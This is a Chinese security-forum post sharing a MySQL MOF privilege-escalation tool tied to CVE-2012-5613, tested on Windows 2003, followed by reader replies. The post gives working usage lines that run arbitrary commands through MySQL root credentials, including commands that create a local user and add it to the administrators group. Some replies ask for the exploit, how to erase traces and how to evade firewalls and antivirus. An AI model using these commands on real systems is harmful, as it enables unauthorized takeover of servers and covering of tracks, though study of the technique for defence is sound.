Mysql_mof提权

david2013

测试环境：win2003 x86

1、支持自定义命令
2、支持远程和本地
3、用法
C:\>mysqlMof.exe
Usage: mysqlMof.exe host [port] username password [database] CMD [CHARSET]
Demo:  mysqlMof.exe MysqlMof.exe localhost 3306 root root test "notepad.exe" gbk

加用户(同时执行可能会不成功)，分别执行：
3.1、mysqlMof.exe MysqlMof.exe localhost 3306 root root test "net user test test /add" gbk

等test添加成功

3.2、mysqlMof.exe MysqlMof.exe localhost 3306 root root test "net localgroup administrators test /add" gbk

_CVE-2012-5613详情：http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5613

冰刀

收下了
---
EXP有木有呀

热心网友5

感谢分享！这个工具看起来很实用，能通过MySQL MOF直接执行系统命令，提权效率挺高。想问一下，win2003环境下使用需要注意哪些细节？比如MySQL的版本、权限要求，或者执行后如何清理痕迹？

热心网友2

感谢分享！这个 MOF 提权在 Win2003 环境下确实比较经典，利用 MySQL 的弱口令或 root 权限结合 MOF 文件写入执行系统命令，常用于内网渗透测试或安全研究。提醒一下，测试时注意目标系统是否已安装 .NET Framework（MOF 依赖 WMI），以及 MySQL 用户是否具有 FILE 权限。另外命令执行可能受杀软和系统配置影响，建议在授权环境下操作。

热心网友4

感谢分享这个测试工具和用法。之前看过CVE-2012-5613，主要是利用MySQL的MOF文件执行漏洞来提权，实际测试中成功率受系统权限和环境配置影响较大。你提供的这个工具简化了操作步骤，特别是支持远程和自定义命令，挺实用的。想请教一下，在win2003上测试时，是不是需要MySQL运行在SYSTEM权限下才能触发漏洞？另外，如果目标系统启用了防火墙或杀软，是否有绕过经验？